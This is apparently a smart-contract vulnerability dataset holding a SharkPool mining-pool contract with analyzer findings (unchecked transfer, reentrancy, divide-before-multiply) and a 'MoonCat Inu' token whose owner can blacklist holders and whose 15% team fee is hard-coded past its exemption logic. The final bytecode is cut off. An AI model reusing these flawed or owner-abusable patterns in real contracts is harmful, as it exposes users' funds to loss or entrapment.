function external_to_internal_block_number(uint256 _externalBlockNum) public constant returns (uint256) {
// blockCreationRate is > 0
return _externalBlockNum / blockCreationRate;
}
function available_slots() public constant returns (uint256) {
if (total_users < max_users) {
return max_users - total_users;
} else {
return slots.length;
}
}
event LogEvent(
uint256 _info
);
function get_bitcoineum_contract_address() public constant returns (address) {
return 0x73dD069c299A5d691E9836243BcaeC9c8C1D8734; // Production
// return 0x7e7a299da34a350d04d204cd80ab51d068ad530f; // Testing
}
// iterate over all account holders
// and balance transfer proportional bte
// balance should be 0 aftwards in a perfect world
function distribute_reward(uint256 _totalAttempt, uint256 _balance) internal {
uint256 remaining_balance = _balance;
for (uint8 i = 0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0 && remaining_balance != 0) {
uint256 proportion = users[user_address].proportional_contribution;
uint256 divided_portion = (proportion * divisible_units) / _totalAttempt;
uint256 payout = (_balance * divided_portion) / divisible_units;
if (payout > remaining_balance) {
payout = remaining_balance;
}
balances[user_address] = balances[user_address] + payout;
remaining_balance = remaining_balance - payout;
}
}
}
function SharkPool() {
blockCreationRate = 50; // match bte
base_contract = BitcoineumInterface(get_bitcoineum_contract_address());
}
function current_external_block() public constant returns (uint256) {
return block.number;
}
function calculate_minimum_contribution() public constant returns (uint256) {
return base_contract.currentDifficultyWei() / 10000000 * contract_period;
}
// A default ether tx without gas specified will fail.
function () payable {
require(msg.value >= calculate_minimum_contribution());
// Did the user already contribute
user storage current_user = users[msg.sender];
// Does user exist already
if (current_user.start_block > 0) {
if (current_user.end_block > mined_blocks) {
uint256 periods_left = current_user.end_block - mined_blocks;
uint256 amount_remaining = current_user.proportional_contribution * periods_left;
amount_remaining = amount_remaining + msg.value;
amount_remaining = amount_remaining / contract_period;
current_user.proportional_contribution = amount_remaining;
} else {
current_user.proportional_contribution = msg.value / contract_period;
}
// If the user exists and has a balance let's transfer it to them
do_redemption();
} else {
current_user.proportional_contribution = msg.value / contract_period;
allocate_slot(msg.sender);
}
current_user.start_block = mined_blocks;
current_user.end_block = mined_blocks + contract_period;
}
// Proxy mining to token
function mine() external nonReentrant
{
// Did someone already try to mine this block?
uint256 _blockNum = external_to_internal_block_number(current_external_block());
require(!base_contract.checkMiningAttempt(_blockNum, this));
// Alright nobody mined lets iterate over our active_users
uint256 total_attempt = 0;
uint8 total_ejected = 0;
for (uint8 i=0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0) {
// This user exists
user memory u = users[user_address];
if (u.end_block <= mined_blocks) {
// This user needs to be ejected, no more attempts left
// but we limit to 20 to prevent gas issues on slot insert
if (total_ejected < 10) {
delete active_users[i];
slots.push(i);
delete users[active_users[i]];
total_ejected = total_ejected + 1;
}
} else {
// This user is still active
total_attempt = total_attempt + u.proportional_contribution;
}
}
}
if (total_attempt > 0) {
// Now we have a total contribution amount
attempts[_blockNum] = total_attempt;
base_contract.mine.value(total_attempt)();
mined_blocks = mined_blocks + 1;
}
}
function claim(uint256 _blockNumber, address forCreditTo)
nonReentrant
external returns (bool) {
// Did we win the block in question
require(base_contract.checkWinning(_blockNumber));
uint256 initial_balance = base_contract.balanceOf(this);
// We won let's get our reward
base_contract.claim(_blockNumber, this);
uint256 balance = base_contract.balanceOf(this);
uint256 total_attempt = attempts[_blockNumber];
distribute_reward(total_attempt, balance - initial_balance);
claimed_blocks = claimed_blocks + 1;
}
function do_redemption() internal {
uint256 balance = balances[msg.sender];
if (balance > 0) {
uint256 owner_cut = (balance / 100) * pool_percentage;
uint256 remainder = balance - owner_cut;
if (owner_cut > 0) {
base_contract.transfer(owner, owner_cut);
}
base_contract.transfer(msg.sender, remainder);
balances[msg.sender] = 0;
}
}
function redeem() external nonReentrant
{
do_redemption();
}
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool) {
return base_contract.checkMiningAttempt(_blockNum, _sender);
}
function checkWinning(uint256 _blockNum) constant public returns (bool) {
return base_contract.checkWinning(_blockNum);
}
} | 0x606060405236156101435763ffffffff60e060020a600035041663014c3dbc811461021b5780630ee33c70146102405780632c035157146102655780632d59680d1461028a57806342b343a31461031557806354ba34b51461033d5780635f623e151461036257806370a082311461038757806388537daf146103b85780638da5cb5b146103ee57806399f4b2511461041d578063a263601c14610432578063a87430ba14610483578063aee1d4d3146104c6578063af76c4d2146104eb578063b03645b514610510578063b8b0f53314610535578063be040fb014610564578063c961df6614610579578063dda6c3ce1461059e578063ddd5e1b2146105c8578063e530db1c146105fe578063e6d2ceab14610623578063e7cc62bd1461063e578063ec083e3714610663578063f2fde38b14610695578063fab425e7146106b6575b6102195b60008060006101546106de565b34101561016057600080fd5b600160a060020a0333166000908152600860205260408120805490945011156101e757600454836001015411156101c65760045483600101540391508183600201540290503481019050600354818115156101b757fe5b046002840181905590506101da565b600354348115156101d357fe5b0460028401555b6101e261075d565b610203565b600354348115156101f457fe5b046002840155610203336108b6565b5b6004548084556003540160018401555b505050565b005b341561022657600080fd5b61022e6109d0565b60405190815260200160405180910390f35b341561024b57600080fd5b61022e6109d5565b60405190815260200160405180910390f35b341561027057600080fd5b61022e6106de565b60405190815260200160405180910390f35b341561029557600080fd5b61029d6109db565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102da5780820151818401525b6020016102c1565b50505050905090810190601f1680156103075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561032057600080fd5b61022e600435610a05565b60405190815260200160405180910390f35b341561034857600080fd5b61022e610a17565b60405190815260200160405180910390f35b341561036d57600080fd5b61022e610a3d565b60405190815260200160405180910390f35b341561039257600080fd5b61022e600160a060020a0360043516610a44565b60405190815260200160405180910390f35b34156103c357600080fd5b6103da600435600160a060020a0360243516610a63565b604051901515815260200160405180910390f35b34156103f957600080fd5b610401610ae8565b604051600160a060020a03909116815260200160405180910390f35b341561042857600080fd5b610219610af7565b005b341561043d57600080fd5b610451600160a060020a0360043516610dee565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b341561048e57600080fd5b6104a2600160a060020a0360043516610ecd565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156104d157600080fd5b61022e610eee565b60405190815260200160405180910390f35b34156104f657600080fd5b61022e610ef4565b60405190815260200160405180910390f35b341561051b57600080fd5b61022e610efa565b60405190815260200160405180910390f35b341561054057600080fd5b610401610eff565b604051600160a060020a03909116815260200160405180910390f35b341561056f57600080fd5b610219610f18565b005b341561058457600080fd5b61022e610f61565b60405190815260200160405180910390f35b34156105a957600080fd5b6103da600435610f67565b604051901515815260200160405180910390f35b34156105d357600080fd5b6103da600435600160a060020a0360243516610fdc565b604051901515815260200160405180910390f35b341561060957600080fd5b61022e611223565b60405190815260200160405180910390f35b341561062e57600080fd5b61021960ff60043516611229565b005b341561064957600080fd5b61022e61129d565b60405190815260200160405180910390f35b341561066e57600080fd5b6104016004356112a3565b604051600160a060020a03909116815260200160405180910390f35b34156106a057600080fd5b610219600160a060020a03600435166112cb565b005b34156106c157600080fd5b61022e600435611316565b60405190815260200160405180910390f35b600354600754600091906298968090600160a060020a031663b0c2a16384604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561073157600080fd5b6102c65a03f1151561074257600080fd5b5050506040518051905081151561075557fe5b040290505b90565b600160a060020a0333166000908152600a6020526040812054908080831115610214576001546064845b0402915050808203600082111561081c5760075460008054600160a060020a039283169263a9059cbb9291169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561080057600080fd5b6102c65a03f1151561081157600080fd5b505050604051805150505b600754600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561087b57600080fd5b6102c65a03f1151561088c57600080fd5b50505060405180515050600160a060020a0333166000908152600a60205260408120555b5b505050565b6000606460025410156109125781600c600254610100811015156108d657fe5b0160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555060016002600082825401925050819055506109ca565b600b54151561092057600080fd5b600b8054600019810190811061093257fe5b90600052602060002090602091828204019190065b9054906101000a900460ff16905081600c8260ff166101008110151561096957fe5b0160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550600b6001600b80549050038154811015156109a657fe5b90600052602060002090602091828204019190065b6101000a81549060ff02191690555b5b5b5050565b435b90565b60055481565b60408051908101604052600d8152609c60020a6c0536861726b506f6f6c203230302602082015281565b60096020526000908152604090205481565b600060646002541015610a30575060025460640361075a565b50600b5461075a565b5b90565b6298968081565b600160a060020a0381166000908152600a60205260409020545b919050565b600754600090600160a060020a03166388537daf8484846040516020015260405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401602060405180830381600087803b1515610ac557600080fd5b6102c65a03f11515610ad657600080fd5b50505060405180519150505b92915050565b600054600160a060020a031681565b6000806000806000610b0761140b565b60005460a060020a900460ff1615610b1e57600080fd5b6000805460a060020a60ff02191660a060020a179055610b44610b3f6109d0565b611316565b600754909650600160a060020a03166388537daf873060006040516020015260405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401602060405180830381600087803b1515610ba757600080fd5b6102c65a03f11515610bb857600080fd5b5050506040518051159050610bcc57600080fd5b6000945060009350600092505b6002548360ff161015610d5957600c60ff84166101008110610bf757fe5b0160005b9054906101000a9004600160a060020a03169150600082600160a060020a03161115610d4c57600160a060020a03821660009081526008602052604090819020906060905190810160409081528254825260018301546020830190815260029093015490820152600454909250905111610d4257600a8460ff161015610d3d57600c60ff84166101008110610c8c57fe5b0160005b6101000a815490600160a060020a030219169055600b8054806001018281610cb8919061142d565b91600052602060002090602091828204019190065b815460ff80881661010093840a8181029202199092161790925560089250600091600c918110610cf957fe5b0160005b9054600160a060020a036101009290920a900416815260208101919091526040016000908120818155600180820183905560029091019190915593909301925b610d4c565b8060400151850194505b5b5b600190920191610bd9565b6000851115610dd45760008681526009602052604090819020869055600754600160a060020a0316906399f4b251908790518263ffffffff1660e060020a0281526004016000604051808303818588803b1515610db557600080fd5b6125ee5a03f11515610dc657600080fd5b505060048054600101905550505b5b6000805460a060020a60ff02191690555b505050505050565b6000806000806000610dfe61140b565b600160a060020a03871660009081526008602052604081205481901115610eb157600160a060020a038816600090815260086020526040908190209060609051908101604090815282548252600183015460208301908152600290930154908201526004549093506000925090511115610e82576004548260200151039050610e86565b5060005b8151826020015183604001516003548560400151028486604001510296509650965096509650610ec2565b600096508695508594508493508392505b505091939590929450565b60086020526000908152604090208054600182015460029092015490919083565b60065481565b60045481565b606481565b7373dd069c299a5d691e9836243bcaec9c8c1d87345b90565b60005460a060020a900460ff1615610f2f57600080fd5b6000805460a060020a60ff02191660a060020a179055610f4d61075d565b5b6000805460a060020a60ff02191690555b565b60035481565b600754600090600160a060020a031663dda6c3ce83836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610fba57600080fd5b6102c65a03f11515610fcb57600080fd5b50505060405180519150505b919050565b6000805481908190819060a060020a900460ff1615610ffa57600080fd5b6000805460a060020a60ff02191660a060020a178155600754600160a060020a03169063dda6c3ce9088906040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561106257600080fd5b6102c65a03f1151561107357600080fd5b50505060405180519050151561108857600080fd5b600754600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156110e157600080fd5b6102c65a03f115156110f257600080fd5b5050506040518051600754909450600160a060020a0316905063ddd5e1b2873060405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401600060405180830381600087803b151561115657600080fd5b6102c65a03f1151561116757600080fd5b5050600754600160a060020a031690506370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156111c457600080fd5b6102c65a03f115156111d557600080fd5b505050604051805160008881526009602052604090205490935091506111ff90508184840361132e565b6005805460010190555b6000805460a060020a60ff02191690555b50505092915050565b60015481565b60005460a060020a900460ff161561124057600080fd5b6000805460a060020a60ff02191660a060020a179081905533600160a060020a0390811691161461127057600080fd5b600b60ff82161061128057600080fd5b60ff81166001555b5b6000805460a060020a60ff02191690555b50565b60025481565b600c8161010081106112b157fe5b0160005b915054906101000a9004600160a060020a031681565b60005433600160a060020a039081169116146112e657600080fd5b600160a060020a0381161561129a5760008054600160a060020a031916600160a060020a0383161790555b5b5b50565b60006006548281151561132557fe5b0490505b919050565b806000808080805b6002548560ff16101561140057600c60ff8616610100811061135457fe5b0160005b9054906101000a9004600160a060020a03169350600084600160a060020a031611801561138457508515155b156113f457600160a060020a0384166000908152600860205260409020600201549250876298968084028115156113b757fe5b049150629896808783025b049050858111156113d05750845b600160a060020a0384166000908152600a6020526040902080548201905594859003945b5b600190940193611336565b5b5050505050505050565b6060604051908101604052806000815260200160008152602001600081525090565b81548183558181151161021457601f016020900481601f016020900483600052602060002091820191016102149190611467565b5b505050565b61075a91905b80821115611481576000815560010161146d565b5090565b905600a165627a7a72305820541aaf8552a679d0e507e1eea1a1c731ef9431809a7383a91e4df9bd4609bedd0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,955 |
0x2ec25b77a8cbf8aa0f8b459f5a9488bc6f76f3f2 | /**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
MoonCat Inu is going to launch in the Uniswap at July 4.
This is fair launch and going to launch without any presale.
tg: https://t.me/Moon_CatG
twitter: https://twitter.com/MoonCatToken2
All crypto babies will become a MoonCat in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MoonCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Moon Cat";
string private constant _symbol = " MCat ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600881526020017f4d6f6f6e20436174000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f204d436174200000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffff